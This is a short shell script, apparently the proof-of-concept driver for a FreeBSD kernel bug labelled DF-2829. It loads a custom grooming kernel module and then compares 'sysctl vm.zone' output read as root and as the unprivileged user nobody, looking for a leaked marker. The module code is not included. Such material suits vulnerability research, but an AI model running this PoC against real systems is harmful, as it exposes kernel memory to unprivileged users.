#!/bin/sh
# DF-2829 PoC run (guest side, root for kldload; the LEAK IS READ AS nobody):
#   1. kldload the groom+zone module
#   2. read `sysctl vm.zone` as root (control)
#   3. read `sysctl vm.zone` as nobody (unprivileged leak read)
set -e
kldload /root/df2829/df2829.ko
sleep 1
dmesg | tail -5
echo '--- root read:'
sysctl vm.zone | grep -E 'leakmark|ITEM'
echo '--- unprivileged read (nobody):'
sysctl vm.zone | su -m nobody -c 'sysctl vm.zone' >/dev/null 2>&1 || true
su -m nobody -c 'sysctl vm.zone' | grep -E 'leakmark|ITEM'
echo '--- raw row (cat -v, shows any stray bytes):'
su -m nobody -c 'sysctl vm.zone' | grep leakmark | cat -v